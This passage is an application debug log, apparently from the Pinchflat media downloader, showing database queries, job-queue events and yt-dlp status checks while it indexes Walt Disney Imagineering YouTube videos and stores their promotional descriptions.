innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "15550844-723d-42fa-8c4e-e36488a79933", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", false, false, 19, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", false, false, 2, [], 98, ~U[2025-09-22 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", nil, false, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", false, 2, ~U[2025-09-22 00:00:00Z]] 18:56:17.597 [debug] QUERY OK source="sources" db=0.1ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.597 [debug] QUERY OK source="media_items" db=0.4ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-15 00:00:00Z], 2] 18:56:17.599 [debug] QUERY OK source="media_items" db=1.1ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🏔 How do Disney Imagineers make mountains? In this episode of Imagineer That!, Tom Morrow 2.0 answers a question from Michelle Khare—asked 25 years ago!—and uncovers the secrets behind Disney’s incredible rockwork and mountain-building techniques. If you’ve ever wondered how Disney creates iconic mountains like Big Thunder or Expedition Everest, this episode reveals the creativity and engineering that make it possible.\n\n✅ What you’ll learn:\n• How Imagineers design and build mountains inside Disney parks\n• The art and science behind realistic rockwork\n• Insider tips on creating immersive landscapes\n\n 📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🏔️ in the comments if you think Disney mountains rock!\n\n#waltdisneyimagineering #imagineerthat #disneymountains", "How do Disney Imagineers make mountains? | Imagineer That!", "2786a5ec-5069-47be-a0ad-d477175425e6", "YLZlSxFU1rE", "https://www.youtube.com/watch?v=YLZlSxFU1rE", false, false, 20, "/downloads/Walt Disney Imagineering/2025-09-15 How do Disney Imagineers make mountains? | Imagineer That!/How do Disney Imagineers make mountains? | Imagineer That! [YLZlSxFU1rE].NA", false, false, 2, [], 98, ~U[2025-09-15 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "🏔 How do Disney Imagineers make mountains? In this episode of Imagineer That!, Tom Morrow 2.0 answers a question from Michelle Khare—asked 25 years ago!—and uncovers the secrets behind Disney’s incredible rockwork and mountain-building techniques. If you’ve ever wondered how Disney creates iconic mountains like Big Thunder or Expedition Everest, this episode reveals the creativity and engineering that make it possible.\n\n✅ What you’ll learn:\n• How Imagineers design and build mountains inside Disney parks\n• The art and science behind realistic rockwork\n• Insider tips on creating immersive landscapes\n\n 📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🏔️ in the comments if you think Disney mountains rock!\n\n#waltdisneyimagineering #imagineerthat #disneymountains", "How do Disney Imagineers make mountains? | Imagineer That!", "YLZlSxFU1rE", "https://www.youtube.com/watch?v=YLZlSxFU1rE", nil, false, "/downloads/Walt Disney Imagineering/2025-09-15 How do Disney Imagineers make mountains? | Imagineer That!/How do Disney Imagineers make mountains? | Imagineer That! [YLZlSxFU1rE].NA", false, 2, ~U[2025-09-15 00:00:00Z]] 18:56:17.599 [debug] QUERY OK source="sources" db=0.1ms idle=4.5ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], 2] 18:56:17.600 [debug] QUERY OK source="media_items" db=0.6ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:56:17.601 [debug] QUERY OK source="tasks" db=0.1ms idle=2.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1722, 11511, ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z]] 18:56:17.603 [debug] QUERY OK source="tasks" db=0.2ms idle=1.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1723, 12001, ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z]] 18:56:17.604 [debug] QUERY OK source="tasks" db=0.1ms idle=1.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1724, 12518, ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z]] 18:56:17.604 [debug] QUERY OK source="media_items" db=0.4ms idle=1.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:56:17.605 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:56:17.606 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1725, 2, ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z]] 18:56:17.606 [info] {"args":{"id":2},"id":1708,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":65015074,"event":"job:stop","queue_time":816795,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:56:17.608 [info] {"args":{"id":11511},"id":1722,"meta":{},"system_time":1774911377608013449,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:17.608 [info] {"args":{"id":12001},"id":1723,"meta":{},"system_time":1774911377608058231,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:17.608 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 18:56:17.608 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 18:56:17.608 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:56:17.608 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:56:17.609 [debug] QUERY OK source="sources" db=0.3ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.609 [debug] QUERY OK source="sources" db=0.3ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.609 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:17.609 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:17.610 [debug] QUERY OK source="media_items" db=0.5ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 18:56:17.610 [debug] QUERY OK source="media_items" db=0.7ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 18:56:17.611 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 18:56:17.611 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 18:56:17.611 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:17.611 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:17.612 [debug] QUERY OK source="settings" db=0.4ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.612 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.612 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.612 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.612 [debug] Running yt-dlp command for action: get_downloadable_status 18:56:17.612 [debug] Running yt-dlp command for action: get_downloadable_status 18:56:17.613 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.613 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.613 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.613 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.613 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.613 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:17.613 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/10/cd/10cd9da19d622728c565bb4480d413d8dfc4f7495cd13f1ce8e3429312c58b52.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:17.613 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j 